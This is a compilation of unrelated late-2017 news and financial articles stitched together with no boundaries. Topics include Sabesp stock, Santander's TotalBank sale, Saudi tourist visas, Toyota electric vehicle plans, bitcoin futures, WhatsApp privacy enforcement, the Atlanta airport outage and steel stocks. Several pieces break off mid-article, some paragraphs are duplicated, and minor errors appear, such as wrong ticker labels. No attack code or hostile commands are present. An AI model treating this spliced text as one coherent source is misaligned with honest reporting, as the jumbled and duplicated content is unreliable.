And here's another thing: Here in the United States, we tend to think of utilities as staid, dependable, slow-growth businesses, right? Well, apparently, this isn't the case in Brazil. Indeed, according to projections surveyed by S&P Global, analysts expect Sabesp to grow its pro forma profits 30% next year to $1.50 per share -- then growth them another 18% in 2019 to $1.77 per share.

The most important thing: Valuing Sabesp

It's not often you find a company valued in the single digits by P/E but growing its earnings at double-digit percentage rates -- much less one paying a strong 3.7% dividend yield (and able to maintain that dividend with a payout ratio of only 27%). Yet if analysts are to be believed, Sabesp is one company that does cost this little, will grow this fast, and can pay that dividend.

According to HSBC, this makes Sabesp stock -- which costs about $10 a share (Sabesp common stock trades as an American depositary receipt in the U.S., on a 1:1 ratio) -- a buy as it rises toward a target price of 39 Brazilian reals per share, or roughly $12 at current exchange rates.

If Sabesp succeeds in growing earnings at anything like the double-digit rates that analysts project for it, I am inclined to agree: Sabesp stock is a real bargain in the utilities sector.

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Rich Smith has no position in any of the stocks mentioned. The Motley Fool has no position in any of the stocks mentioned. The Motley Fool has a disclosure policy.
MADRID, Dec 1 (Reuters) - Banco Santander said on Friday it had sold its U.S. unit Totalbank to Chile's BCI for $528 million as part of moves to sell non-core assets it inherited when it bought Banco Popular.

BCI owns City National Bank of Florida and had been in talks with TotalBank's former owner Banco Popular before it was acquired by Santander, sources have told Reuters.

TotalBank, which has more than $3 billion in assets across 18 branches and employs around 300 people, was acquired by Banco Popular in 2007 for $300 million.

Santander's chief executive Jose Antonio Alvarez confirmed last month that the lender was in the process of selling TotalBank.

Santander took over Popular for a nominal one euro on June 7 after European authorities stepped in to avert a collapse of the lender following a run on the bank.

Since then Santander has undertaken a 7 billion euro capital increase to strengthen Popular's balance sheet.

The Spanish lender also said the sale of TotalBank was incorporated in Santander's valuation of Popular at the time of acquisition and would contribute five basis points to Santander's capital ratio.

It said the deal was subject to regulatory approvals and other usual conditions. (Reporting By Jesus Aguado, editing by David Evans)
Head of the Saudi Commission for Tourism and National Heritage, Prince Sultan bin Salman bin Abdulaziz, speaks during an interview with AFP at the commission's headquarters in Riyadh, on December 18, 2017 (AFP Photo/FAYEZ NURELDINE)

Riyadh (AFP) - Saudi Arabia will begin issuing tourist visas in the first quarter of 2018, its top tourism official said, a first for the kingdom as it undergoes major economic and social reforms.

Prince Sultan bin Salman bin Abdulaziz told AFP that "all government approvals" are in place for the launch of electronic visas next year to "all nationals whose countries allow their citizens to visit" Saudi Arabia.

"We are now just preparing the regulations -- who is eligible for the visas and how to obtain them," added the head of the Saudi Commission for Tourism and National Heritage, who is a son of King Salman.

The move to open up its tourism sector is a major shift for Saudi Arabia as powerful Crown Prince Mohammed Bin Salman seeks to radically overhaul the kingdom's oil-dependent economy and shed its ultra-conservative image.

Apart from the millions of Muslims who travel to Saudi Arabia annually for the Hajj pilgrimage, most visitors face an arduous process and steep fees to enter the kingdom.

Saudi Arabia currently grants tourist visas for a limited number of countries, but even those applications involve a range of restrictions, including requirements to travel through an accredited company and stay at designated hotels.

Prince Sultan said the cost of the new tourist visa had not yet been settled, but stressed that it would be "as low as possible, because we believe the cumulative economic impact is greater than the cash from the visa".

Saudi Arabia, though richly endowed with natural beauty, is notorious worldwide for its longstanding bans on the mixing of the sexes, alcohol consumption and women driving -- making it an undesirable destination for many.

In recent months, the kingdom has broken with some of its most rigid rules -- lifting a cinema ban, allowing genders to mix at a national celebration and announcing that women will be allowed to drive next June.

Prince Mohammed in August announced a massive tourism project to turn 50 islands and a string of sites on the Red Sea into luxury resorts.
By India Today Web Desk: Scared of visiting the dentist? Well, now you have a new reason to stoke your paranoia.

A man in Hubbali, Karnataka, is said to have died of excessive bleeding after his dentist extracted three of his teeth. Abdul Khader Bagalkot had gone to see his dentist with a toothache on December 8. After examination, Dr Veeresh Magalad removed three of his teeth. The next day, Bagalkot had to be admitted to Karnataka Institute of Medical Sciences (KIMS) with severe bleeding from the mouth.

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Soon, Bagalkot was left in coma and later died.

Abdul Razak, the deceased's brother, has filed a complaint against the dentist. The complaint accuses the dentist of visiting Bagalkot while he was in coma, and taking his thumb impression on a letter of consent.The letter is said to have stated that Magalad not responsible for Bagalkot's condition, and that he had paid the victim Rs 10,000 on compassionate grounds. Magalad, on the other hand, has denied any negligence on his part.

Magalad said in his defence that he was not informed about the patient's excessive bleeding. He also claimed that Bagalkot was awake when the thumb impression was taken.

KIMS Director Dr DD Bant stated that Bagalkot was already in the state of coma when he was brought to the hospital. He was treated in the ICU, but the doctors could not revive him. The doctors are waiting for the post-mortem reports to confirm the actual cause of death. The doctors also claimed that the chances of saving him could have existed, if he was admitted two days earlier.

--- ENDS ---
The Bank of Nova Scotia BNS aims to become the third-largest private bank in Chile with the acquisition of Banco Bilbao Vizcaya Argentaria, S.A.s BBVA 68.19% stake in BBVA Chile for about $2.2 billion (CAD$ 2.9 billion).

BBVA will accept the binding offer submitted by Scotiabank if the Said family  BBVA's minority partner with the remaining stake  chooses not to exercise its Right of First Refusal. On completion of the deal, Scotiabank's Common Equity Tier (CET) 1 capital ratio is expected to be impacted by nearly 1%.

Notably, the Said family has the right to sell its stake in BBVA Chile on the same terms to Scotiabank, per the tag-along rights it has under the shareholders agreement of BBVA Chile. Scotiabanks CET 1 ratio would be impacted by about 1.35% if the bank is successful in purchasing all the shares of BBVA Chile.

The transaction is likely to raise Scotiabank's market share in Chile to nearly 14%, almost double of what is had before. BBVA Chile with assets and more branches than Scotiabank will deepen latters reach in Latin America. This is in line with the banks aim to expand operations in the region.

Though the stock was down nearly 2.5% in the last trading session, the Canadian Bank reported strong results for the fiscal 2017.

Adjusted earnings per share were up 8% on a year-over-year basis. Also, it recorded improved revenues, which were partially offset by a fall in trading revenues due to low volatility in the markets compared to the last fiscal year.

Further, its CET 1 ratio rose five basis points to 11.5%. This indicates the banks sound financial position and leaves no doubts for the impending acquisition.

Shares of Bank of Nova Scotia have gained 14.6% year to date, underperforming the 18.4% rally for the industry it belongs to.

Currently, the stock carries a Zacks Rank #4 (Sell).

A couple of better-ranked foreign bank stocks are Bank of N.T. Butterfield & Son Limited NTB and Credicorp Ltd BAP. Both these stocks carry a Zacks Rank #2 (Buy). You can see the complete list of todays Zacks #1 Rank (Strong Buy) stocks here.

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Bank of N.T. Butterfield & Sons Zacks Consensus Estimate for current-year earnings has been revised 2.2% upward in the last 60 days. The companys share price has risen almost 24.6% year to date.

Credicorps current-year earnings estimates have been revised slightly upward over the last 60 days. Also, its shares have gained 35.7% so far this year.

Investor Alert: Breakthroughs Pending



A medical advance is now at the flashpoint between theory and realization. Billions of dollars in research have poured into it. Companies are already generating substantial revenue, and even more wondrous products are in the pipeline.



Cures for a variety of deadly diseases are in sight, and so are big potential profits for early investors. Zacks names 5 stocks to buy now.



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Toyota' hydrogen-powered Mirai is the first mass-produced fuel-cell vehicles

Toyota has become the latest car giant to throw its full weight behind electric vehicles, saying every Toyota or Lexus model will come with an electric option by 2025.

The company stole a lead on rivals 20 years ago with the launch of its Prius hybrid, which uses a conventional engine and electric motor systems, but currently the Japanese business has no all-electric vehicles.

As part of the new strategy Toyota, which sold 10.2m vehicles last year, said that by 2030 it aimed to have annual sales of 5.5m electrified vehicles, which have either battery, fuel cell, or hybrid power systems. Of these, 1m will be zero-emission vehicles.

Toyota is a leader in hybrid car sales after introducing the Prius in 1997 Credit: Bloomberg

Toyota has previously said that under its 2050 environmental challenge initiative, it has set itself a mid to long-term target of reducing CO2 emissions from new cars by 90pc from 2010 levels.

Shigeki Terashi, executive vice-president, said the companys new electric vehicles would first go on sale in China. The Beijing government offers a range of subsidies to encourage the development of the technology and the country is a leader in the sale of electric vehicles. A gradual introduction of the companys electric vehicles in Japan, India,the US and Europe is also expected.

The rise of electric vehicles

Last week Toyota announced a tie-up with Panasonic to develop batteries and Mr Terashi called this partnership "a crucial piece" of the electrification plans.

The Mirai, the first mass-produced fuel-cell vehicle and which is powered by liquid hydrogen, was developed by Toyota and the company is also keen to widen the use of this form of power.

All Toyota and Lexus cars will include electric options by 2025 Credit: AP

Social infrastructure around electric and hydrogen-powered vehicles and how they can be encouraged is also being investigated. Plans for this include creating a system to make it more efficient to reuse batteries, along with the introduction of more charging points and hydrogen refuelling stations.

The company will invest 1.5 trillion yen (10bn) to achieve its green goals, with half of this amount being spent on developing batteries.

Toyota's announcement makes it the latest car company to say electric vehicles will be available across its entire range. In July Volvo made headlines when it became the first of the major manufacturers to do so.
Toyota will add more than 10 all-electric vehicle models to its global portfolio by the early 2020s, beginning with China, as part of a broader plan to catch up to Tesla, GM, Nissan, and other automakers bringing more electric vehicles to consumers.

The 10 new all-electric vehicle models will then gradually be introduced to Japan, India, Europe, and the U.S.

The Japanese automaker has focused most of its alternative fuel efforts towards hybrids like the Toyota Prius and hydrogen fuel cell vehicles like the Toyota Mirai. This new strategy, outlined in greater detail Monday, aims to embed electrified vehicles throughout the entire portfolio of Toyota, and its Lexus brand. And it comes with considerable investment. Toyota plans to invest about $13.3 billion by 2030 into research and development of electric vehicles and batteries.

This means that by 2025 every model in the Toyota and Lexus line-up will be available either as an all-electric or another electrified option such as hybrid or plug-in electric hybrid. The companys fuel cell electric vehicle line-up will be expanded for both passenger and commercial vehicles in the 2020s.

Toyota says it will have sales of more than 5.5 million electrified vehicles by 2030, including more than 1 million zero-emission vehicles (all-electric and fuel cell vehicles) as a result of this strategy.

Toyota said last year it planned to add all-electric vehicles to its portfolio. The company appeared to be building out the framework to that plan over the past several months. In September, Toyota established a new venture with Mazda Motor to develop electric vehicle technology for a range of electric vehicles, including SUVs, light trucks, passenger cars, and mini-vehicles.

Toyota said earlier this month it was considering jointly developing batteries for electric vehicles with Panasonic, which also supplies automaker Tesla with lithium-ion batteries. Toyota confirmed Monday that it will start a feasibility study with Panasonic on a joint battery business.
The Japanese car company Toyota (7203.T-JP) has pledged that its entire fleet will be available in an electric or hybrid version by 2025.

In a press release Monday, Toyota Motor Company said it also wanted electrified cars to account for more than half of group sales by 2030, with a volume target of around 5.5 million cars a year. Toyota also said it will have more than 10 different pure battery electric cars for sale from 2020, with China the first target market.

The company said it will then expand that electric vehicle range into Japan, U.S., Europe, and India on a "gradual" basis.

The automaker added that by 2025 it will no longer develop any Toyota or Lexus branded car that doesn't offer a "dedicated electrified model or have an electrified option."

Toyota said it was also working with Panasonic to reduce the weight and cost of batteries. It said it expected "next-generation solid-state batteries" should be commercially available by 2020.

According to data supplied by the International Organization of Motor Vehicle Manufacturers (OICA), Toyota was 2016's largest car producer, accounting for more than 10 million vehicles.

The company itself said to date it has produced more than 11 million vehicles that use electric technology. Toyota shares ended the Japanese trading session 2.8 percent higher on Monday.
U.S. government debt yields rose on Monday, as investors turn their focus to the proposed overhaul of the U.S. tax system. The yield on the benchmark 10-year Treasury note (U.S.: US10Y) sat higher at 2.369 percent at 9:28 a.m. ET, while the yield on the 30-year Treasury bond (U.S.: US10Y) was up at 2.705 percent. Bond yields move inversely to prices. Investor sentiment was lifted on Monday, boosted by optimism surrounding U.S. tax cuts. On Friday, Republicans released their final proposal to overhaul the country's tax system, which would look at slashing taxes for businesses, while trimming rates for individuals and modifying tax deductions. The House and Senate GOP are looking to pass the measure this week. Expectations that the tax bill will be approved boosted U.S. stocks on Friday and buoyed the Dow Jones industrial average more than 100 points Monday. Markets overseas also rose on the back of optimism surrounding U.S. tax changes. CNBC's Jacob Pramuk contributed to this report U.S. government debt yields rose on Monday, as investors turn their focus to the proposed overhaul of the U.S. tax system. The yield on the benchmark 10-year Treasury note (U.S.: US10Y) sat higher at 2.369 percent at 9:28 a.m. ET, while the yield on the 30-year Treasury bond (U.S.: US10Y) was up at 2.705 percent. Bond yields move inversely to prices. Investor sentiment was lifted on Monday, boosted by optimism surrounding U.S. tax cuts. On Friday, Republicans released their final proposal to overhaul the country's tax system, which would look at slashing taxes for businesses, while trimming rates for individuals and modifying tax deductions. The House and Senate GOP are looking to pass the measure this week. Expectations that the tax bill will be approved boosted U.S. stocks on Friday and buoyed the Dow Jones industrial average more than 100 points Monday. Markets overseas also rose on the back of optimism surrounding U.S. tax changes. CNBC's Jacob Pramuk contributed to this report



More From CNBC


net neutrality

Vice's Motherboard is attempting to build its own community-based internet network in hopes of inspiring a nationwide grassroots movement.

Motherboard will begin building their community-owned internet network sometime next year.



Vice Media isn't just grumbling about the FCC's move to kill net neutrality, it's doing something about it.

Motherboard, the tech and science website owned by Vice, is building a community-owned internet network in its Brooklyn home turf. And it's documenting the process every step of the way in hopes of inspiring a nationwide movement.

The initiative is spearheaded by Motherboard's editor-in-chief, Jason Koebler, who has reported extensively on community internet networks in the US. Koebler describes community-owned networks as a core coverage area for Motherboard. "As a publication, we believe that the internet should remain free and open," Koebler said in an interview with Business Insider. "Telecom monopolies have made it much more difficult for people to access the internet, especially in rural or underserved communities."

The Motherboard effort comes as the FCC rolls back Obama-era regulations that prevented broadband internet providers from blocking certain websites and from charging more for internet "fast lanes."

Koebler's plan for building a community-based network out of Vice's Williamsburg headquarters was inspired by the success of an underserved Detroit community that built their own internet network earlier this year. According to Koebler, the connection now provides internet to three Detroit neighborhoods that were historically ignored by big telecom.

All you need is a router

Motherboard is teaming up with NYC Mesh, a community-owned internet network in New York that currently has about 100 monthly users in Bushwick. "The plan is for us to become another node in their network," says Koebler, "We'll own and operate this node out of their network and provide internet to more people both in Williamsburg and over the East River."

Story continues

Koebler says that in order to connect to the network, users will need to purchase a special router, but beyond that it will be completely free.

But Koebler's vision for the network is bigger than providing free internet to a local neighborhood: he hopes to inspire a nationwide movement in the light of Thursday's net neutrality repeal.

Koebler knows his plan is ambitious. "It's a daunting task to replicate the internet across the country," he said, "But what we're seeing is that this is working for pockets of people all over the country at a pricepoint that's affordable."

By building an internet network of its own, Vice plans to highlight a DIY solution an internet market that's almost entirely monopolized by big telecom. "This will be an editorial initiative for Motherboard for all of 2018," said Koebler.

Motherboard will extensively document the creation of Vice's community network so that others can learn how to make their own. "We want to support what's already been done in this area, and do it from a journalistic endeavor to see how it's done," said Koebler, "We're attempting to create a playbook for doing this in other towns."

Koebler says that he hopes to dispel the myth that internet users must rely entirely on an internet service provider to obtain online access. "My overall vision for the internet is that its locally owned, it serves the people who connect to it, and that the people who connect to it own it, or know the owner who lives down the street."

You can learn more about Vice's community network internet initiative here.

NOW WATCH: A guy who reviews gadgets for a living spent a week with the iPhone X and the Pixel 2  the winner was clear

See Also:

SEE ALSO: The FCC repealed net neutrality  here's what that means for you
A Volkswagen logo is pictured at the International Auto Show in Mexico City, Mexico November 23, 2017. REUTERS/Henry Romero (Reuters)

By Nick Carey

DETROIT (Reuters) - Volkswagen AG <VOWG_p.DE> unit Electrify America said on Monday that it plans to install 2,800 electric vehicle charging stations in 17 of the largest U.S. cities by June 2019.

The charging stations will be located at roughly 500 sites, with around 75 percent of them at workplaces and the rest at multifamily dwellings such as apartment buildings.

The German automaker has agreed to spend $800 million in California and a total of $2 billion nationwide on clean car infrastructure as part of its agreement after admitting to diesel emissions cheating.

"One of the biggest barriers to the mass-market adoption of electric vehicles is access to chargers," Mark McNabb, chief executive officer of Electrify America, said in a statement.

Major automakers such as General Motors Co <GM.N> and Ford Motor Co <F.N> have announced plans to launch whole families of electric vehicles in the next few years in a direct challenge to money-losing Tesla Inc <F.N> which is struggling to get its more affordable, high-volume Model 3 released and recently reported its largest-ever quarterly loss.

One problem the auto industry must overcome for mass adoption of electric vehicles is a lack of national charging infrastructure for use by consumers.

Electrify America said it has selected charging station companies SemaConnect, EV Connect and Greenlots to install them.

"There hasn't been a significant catalyst yet for ramping up the number of charging stations," Scott Fisher, Greenlots' vice president of market development, told Reuters. "This is an unprecedented opportunity to help create the electric vehicle infrastructure we need across the U.S."

The diesel emissions scandal has so far cost Volkswagen as much as $30 billion.

In March, the German automaker pleaded guilty to three felony counts under a plea agreement to resolve U.S. charges that it installed secret software in vehicles in order to elude emissions tests.

Earlier this month, U.S. VW executive Oliver Schmidt, a German national, was sentenced to seven years in a U.S. prison for his part in the scheme.

(Reporting by Nick Carey; Editing by Jeffrey Benkoe)
Walt Disney Parks & Resorts(NEW YORK) -- Walt Disney World plans to reopen its famed "Hall of Presidents" exhibit in Orlando on Tuesday with the addition of a new life-size robot of President Donald Trump -- and it speaks!



The popular Magic Kingdom Park attraction will reopen Tuesday morning with enhancements that will bring the story of the American presidency to life as never before, Disney said in a statement Monday.



As has been the tradition with every new president since the attraction debuted, an Audio-Animatronics figure of President Donald J. Trump has been added to the show, the statement said. President Trump personally recorded remarks exclusively for The Hall of Presidents, just as each sitting president has done for the attraction since the early 1990s.



Walt Disney Parks & Resorts released a preview video of the attraction on Monday, showing a life-sized animatronic Trump standing center stage in an unbuttoned dark-colored suit jacket and a long, striped blue tie that hangs well below the waistline.



"From the beginning, America has been a nation defined by its people," the Trump figure says in the video. The exhibit, which features the likeness of every U.S. president, closed for renovations in January and was originally set to reopen in June.



The delay prompted speculation that Disney could be trying to silence the president due to a Change.org petition that called for Trump to not have a speaking role in the park exhibit, citing offensive comments that he's made in the past. The petition got more than 15,000 signatures in support, but missed its goal of 25,000.



Disney had earlier dismissed reports that the president would not have a speaking role in the attraction. In a June blog post, Disney said it was working closely with the current White House -- just as we have with previous administrations.



In addition to the new show, the exhibit will also feature a "complete theater upgrade including a new sound system, lighting and high-definition projection system," the company said Monday.



Editor's note: The Walt Disney Company is the parent company of Walt Disney World and ABC News.



Copyright  2017, ABC Radio. All rights reserved.
By PTI: New Delhi, Dec 19 (PTI) Altogether 114 people were arrested for attacks on journalists for which 189 cases were registered in different parts of the country in the last three years, the Lok Sabha was informed today.

Minister of State for Home Hansraj Ahir said 41 people were arrested and 47 cases registered for the attacks on media persons in 2016. As many as 41 people were arrested and 28 cases registered for similar incidents in 2015.

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A total of 32 people were arrested and 114 cases registered in various parts of the country for attacks on media persons in 2014, the minister aaid.

Ahir said in Uttar Pradesh, 67 cases were registered in last three years for attacks on media persons in which seven people were arrested.

In Madhya Pradesh, 50 cases of attacks on media persons were registered, while 56 people arrested in last three years, he added. PTI ACB SRY

--- ENDS ---
Bitcoin trading, and the capital allocated to it, remains a very small part of the multi-trillion dollar equity markets. It is an even smaller part of the much, much larger derivatives market . The key problem with bitcoin and other cryptocurrencies is that they are fiat currencies in the true sense of the word. A fiat currency relies on investors confidence for its value. A fiat currency is not backed in gold or some other asset. Most world currencies are fiat currencies, but they are backed by sovereign states. It is rare for a sovereigns States to default on debt which in turn leads to currency collapse. Cryptocurrencies are the currency of choice for money laundering, hackers, terrorists and criminals. Governments will not stand by and allow these cryptocurrencies to evade the regulations around these activities. There is a high risk that sovereign executive action will destroy the value of these bitcoins.Legitimacy Cryptocurrencies do not have the support of sovereign states. In fact some sovereign states  China  refuse to recognize these as legitimate currencies. This is the most significant risk in cryptocurrency trading. At any time a sovereign state like the United States may ban or prohibit cryptocurrency use and trading and thus render all contracts immediately worthless. This makes the cryptocurrencies suitable for short-term trading with exceptionally good risk management. The listing of bitcoin contracts on Chicago futures exchanges does not legitimize Bitcoin. These contracts can only be cash settled in U.S. dollars. The contract cannot be converted to bitcoins on expiry. This gives an indication of the level of confidence in the currency. Creating a bitcoin futures contract legitimizes and regulates the trading activity, but it does not legitimize bitcoin as a currency. CME , the world's largest futures exchange, launched its bitcoin futures contract this week under the ticker "BTC." The front-month contact opened above $20,000. The previous week the Chicago Board Options Exchange launched it own futures contract with the front-month topping $18,000. Cryptocurrencies are also tracked on CoinDesk, which monitors prices from digital currency exchanges Bitstamp, Coinbase, itBit and Bitfinex.The trendThis trend is a parabolic curve. The trend is best described using a segment of an ellipse, mistakenly called a parabolic curve.Once the three anchor points are set, the position of the curve does not change. The trend starts off slowly then accelerates very rapidly until the activity on the price chart is almost vertical.Prices will soon move inevitably to the right of the curve. This usually signals a rapid retracement of 50% or more.History Alexandre Dumas wrote a book, The Black Tulip , which should be read by any person thinking about trading bitcoins. If anything, the situation is worse now that Dumas describes in his day when tulip futures were actively traded on the Amsterdam stock exchange. Bitcoins will not impact the stock market other than to remove some speculative capital from the equity market. However the amounts are small when compared with overall market activity.Daryl Guppy is a trader and author of Trend Trading, The 36 Strategies of the Chinese for Financial Traders, which can be found atwww.guppytraders.com . He is a regular guest on CNBC Asia Squawk Box. He is a speaker at trading conferences in China, Asia, Australia and Europe. He is a special consultant to AxiCorp. For more insight from CNBC contributors, follow@CNBCopinionon Twitter. Bitcoin trading, and the capital allocated to it, remains a very small part of the multi-trillion dollar equity markets. It is an even smaller part of the much, much larger derivatives market . The key problem with bitcoin and other cryptocurrencies is that they are fiat currencies in the true sense of the word. A fiat currency relies on investors confidence for its value. A fiat currency is not backed in gold or some other asset. Most world currencies are fiat currencies, but they are backed by sovereign states. It is rare for a sovereigns States to default on debt which in turn leads to currency collapse. Cryptocurrencies are the currency of choice for money laundering, hackers, terrorists and criminals. Governments will not stand by and allow these cryptocurrencies to evade the regulations around these activities. There is a high risk that sovereign executive action will destroy the value of these bitcoins. Legitimacy Cryptocurrencies do not have the support of sovereign states. In fact some sovereign states  China  refuse to recognize these as legitimate currencies. This is the most significant risk in cryptocurrency trading. At any time a sovereign state like the United States may ban or prohibit cryptocurrency use and trading and thus render all contracts immediately worthless. This makes the cryptocurrencies suitable for short-term trading with exceptionally good risk management. The listing of bitcoin contracts on Chicago futures exchanges does not legitimize Bitcoin. These contracts can only be cash settled in U.S. dollars. The contract cannot be converted to bitcoins on expiry. This gives an indication of the level of confidence in the currency. Creating a bitcoin futures contract legitimizes and regulates the trading activity, but it does not legitimize bitcoin as a currency. CME , the world's largest futures exchange, launched its bitcoin futures contract this week under the ticker "BTC." The front-month contact opened above $20,000. The previous week the Chicago Board Options Exchange launched it own futures contract with the front-month topping $18,000. Cryptocurrencies are also tracked on CoinDesk, which monitors prices from digital currency exchanges Bitstamp, Coinbase, itBit and Bitfinex. The trend This trend is a parabolic curve. The trend is best described using a segment of an ellipse, mistakenly called a parabolic curve. Once the three anchor points are set, the position of the curve does not change. The trend starts off slowly then accelerates very rapidly until the activity on the price chart is almost vertical. Prices will soon move inevitably to the right of the curve. This usually signals a rapid retracement of 50% or more. History Alexandre Dumas wrote a book, The Black Tulip , which should be read by any person thinking about trading bitcoins. If anything, the situation is worse now that Dumas describes in his day when tulip futures were actively traded on the Amsterdam stock exchange. Bitcoins will not impact the stock market other than to remove some speculative capital from the equity market. However the amounts are small when compared with overall market activity. Daryl Guppy is a trader and author of Trend Trading, The 36 Strategies of the Chinese for Financial Traders, which can be found at www.guppytraders.com . He is a regular guest on CNBC Asia Squawk Box. He is a speaker at trading conferences in China, Asia, Australia and Europe. He is a special consultant to AxiCorp. For more insight from CNBC contributors, follow @CNBCopinion on Twitter.



More From CNBC


BRUSSELS (Reuters) - France's data privacy watchdog may fine messaging app WhatsApp if it does not comply with an order to bring its sharing of user data with parent company Facebook (FB.O) into line with French privacy law.

The French data protection authority - CNIL - said on Monday it had told WhatsApp to comply with the order within one month, and pay particular attention to obtaining users' consent. If Whatsapp does not comply it could sanction the company, the watchdog said.

The CNIL said WhatsApp did not have the legal basis to share user data with Facebook and had violated its obligation to cooperate with the French authority.

WhatsApp, bought by Facebook in 2014, said it would begin sharing some user data with the social media group in 2016, drawing warnings from European privacy watchdogs about getting the appropriate consent.

In October, European Union privacy regulators rapped WhatsApp for not resolving their concerns over the messaging service's sharing of user data with Facebook a year after they first issued a warning.

The French regulator said that WhatsApp had not properly obtained users' consent to begin sharing their phone numbers with Facebook for "business intelligence" purposes.

"The only way to refuse the data transfer for business intelligence purpose is to uninstall the application," the CNIL said in a statement.

The regulator accepted that the transfer of user data for security purposes seemed to be essential to the functioning of the application. But the watchdog also said the same did not apply for "business intelligence" purposes which aim to improve the apps' performance.

European data protection authorities can only impose small fines at the moment, but a new EU privacy law entering into force next year will increase fines to up to 4 percent of a company's global turnover.

The CNIL said it had repeatedly asked WhatsApp to provide a sample of French users' data transferred to Facebook but the company had explained it could not do so as it is located in the United States and "it considers that it is only subject to the legislation of this country."

(Reporting by Julia Fioretti; Editing by Francesco Guarascio and Jane Merriman)
atlanta airport power outage

Branden Camp / AP

Hartsfield-Jackson Atlanta International Airport experienced an 11-hour power outage on Sunday.

Over 1,200 flights were canceled.

Passengers and observers documented their frustration on Twitter.



Hartsfield-Jackson Atlanta International Airport experienced a power outage on Sunday that led to the cancellation of over 1,200 flights on Sunday and Monday.

Activity at the world's busiest airport came to a halt after a fire in an underground electrical facility caused the outage at 1 p.m on Sunday. Power returned to the airport early Monday morning.

Delta Air Lines suffered the most of any airline, canceling about 1,200 flights on Sunday and Monday. Some say the airline most likely won't resume normal operations in Atlanta until Tuesday.

Betsy Klein, a CNN reporter, documented the experience on Twitter, describing how the airport slowly descended into chaos as passengers were left in the airport or on planes with limited food, water, and information about the power outage.



Tweet Embed:

https://twitter.com/mims/statuses/942505420211539968?ref_src=twsrc%5Etfw

Everyone on the plane - so far - is pretty calm and patient. They've begun another round of beverage service. Tweet Embed:

https://twitter.com/mims/statuses/942531379379757056?ref_src=twsrc%5Etfw

"It's hard to see how this ends," the lady next to me says Tweet Embed:

https://twitter.com/mims/statuses/942543947389390848?ref_src=twsrc%5Etfw

Pilot also told some of the folks a few aisles up that there's enough fuel on the plane to sustain power on the tarmac for 3-4 days -- but not enough to actually fly to a different airport. Tweet Embed:

https://twitter.com/mims/statuses/942588935858999296?ref_src=twsrc%5Etfw

The deplaning pic.twitter.com/UZlQmxs69Z Tweet Embed:

https://twitter.com/mims/statuses/942551272909082625?ref_src=twsrc%5Etfw

Pilot says POWER IS BACK in terminals F and E!!! As my colleagues have been reporting, the root cause was a fire. We are making progress (slowly) toward eventually getting off this plane, more than 5 hours later. pic.twitter.com/z3qB4YET9W Tweet Embed:

https://twitter.com/mims/statuses/942556230287003648?ref_src=twsrc%5Etfw

I can't overemphasize how exceedingly patient my fellow passengers have been - esp the young ones. And crew/pilot have been GREAT. But we have also all now been on this full @Delta plane since we boarded at 11:45 am and there hasn't been food or water since late afternoon. Tweet Embed:

https://twitter.com/mims/statuses/942583206980870145?ref_src=twsrc%5Etfw

It is SWELTERING inside the airport. No water or fThere are people sleeping on baggage claim belts. The line for delta support is VERY long. Tweet Embed:

https://twitter.com/mims/statuses/942595437214818305?ref_src=twsrc%5Etfw

pic.twitter.com/XtxfzyrBS5 Tweet Embed:

https://twitter.com/mims/statuses/942596743874662400?ref_src=twsrc%5Etfw

pic.twitter.com/ZDwKpt26HU

Story continues

Other passengers and observers found the power outage to be equally frustrating.



Tweet Embed:

https://twitter.com/mims/statuses/942588601816162304?ref_src=twsrc%5Etfw

Update from my mom at @ATLairport : still no food, water, police, or evacuations. Passengers have been stranded in terminals for 10 hours with no help! Cannot leave and people are getting weird. @Delta please, cant you get some @dasaniwater and pizza into the airport?!?!?! Tweet Embed:

https://twitter.com/mims/statuses/942585600678359040?ref_src=twsrc%5Etfw

Here's some irony. On this day in 1903, the Wright brothers flew their first flight. Meanwhile, at the Atlanta Airport. Nada #NoPowerNoFlights Tweet Embed:

https://twitter.com/mims/statuses/942514721986633728?ref_src=twsrc%5Etfw

Total and abject failure here at ATL Airport today. I am stuck on @delta flight, passengers and crew tolerating it. But there is no excuse for lack of workable redundant power source. NONE! #atlairport#delta Tweet Embed:

https://twitter.com/mims/statuses/942512658972053504?ref_src=twsrc%5Etfw

A live look at ATL maintenance workers attempting to restore power to the airport after 4 hours. pic.twitter.com/L6iuq9hmRQ Tweet Embed:

https://twitter.com/mims/statuses/942531575379562496?ref_src=twsrc%5Etfw

#atlairport#ATL I've worked there forever. Nothing like this, or even close, has ever happened. Something is wrong. I left before they evacuated released/employees because my gut told me to. I know how things are supposed to go down. Today was completely different. Tweet Embed:

https://twitter.com/mims/statuses/942551661574262784?ref_src=twsrc%5Etfw

6 hours later stuck in a plane, a truck comes toward the plane , as everyone onboard thinks we are about to get rescued.... Sike.. its just a guy to flush our toilets]]>

Related Video:

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Abbott (ABT) reported earnings 30 days ago. What's next for the stock? We take a look at earnings estimates for some clues.

For Immediate Release

Chicago, IL  Dec 19, 2017  Today, Zacks Equity Research discusses the Industry: Steel, Part 3, including Steel Dynamics Inc. STLD, United States Steel Corp. X, ArcelorMittal MT, AK Steel Holding Corp. AKS and Nucor Corp. NUE.

Industry: Steel, Part 3

Link: https://www.zacks.com/commentary/140388/headwinds-that-might-dent-steel-industry-growth

The steel industry is poised to benefit from solid demand in the United States and emerging markets like India. However, steel stocks have to struggle with equity market volatility and a host of other broader factors. Below, we discuss some of the key reasons and what investors in the steel sector should be wary of in the coming months and years.

Valuation Questions

Steel stocks had a roller coaster ride this year, but the industry has been a strong performer since around mid-June 2017 and has led the market since then. Year to date, the Zacks Steel industry is up +23% vs. the +18.9% gain for the S&P 500 index in that time period.

The industry has historically traded at a discount to the broader market, on most traditional valuation metrics, likely reflecting the deep cyclical nature of its business. On a trailing EV/EBITDA multiple basis (a preferred valuation metric for cyclical industries like steel), the Zacks Steel Industry (the medium level industry classification that includes steel makers as well specialty operators) is currently trading at 5.6X trailing 12-month EBITDA, at a discount to the S&P 500 indexs 11.7X multiple at present.

Over the last 10 years, the industry has traded as high as 28.1X and as low as 3.9X, with a median of 6.7X. As would be expected with all deep cyclical industries, valuation multiples top out at the bottom of business cycles and peak at the bottom. In other words, the industry is expensive when the multiple is at its low point. As you can see from the above 10-year history for this multiple, which is mirrored by other traditional multiples as well, the current multiple is closer to the bottom than to the top.

Story continues

In other words, the industrys valuation cant be called cheap by any means, but it isnt stretched or expensive either.

Rise in Cheap Imports in the United States

The continued surge of steel imports in to the United States has hollowed out much of the domestic steel industry. Per the latest figures released by The American Iron and Steel Institute (AISI), finished steel imports for the first 10 months of 2017 shot up 19.4% and 15.4% year over year, respectively.

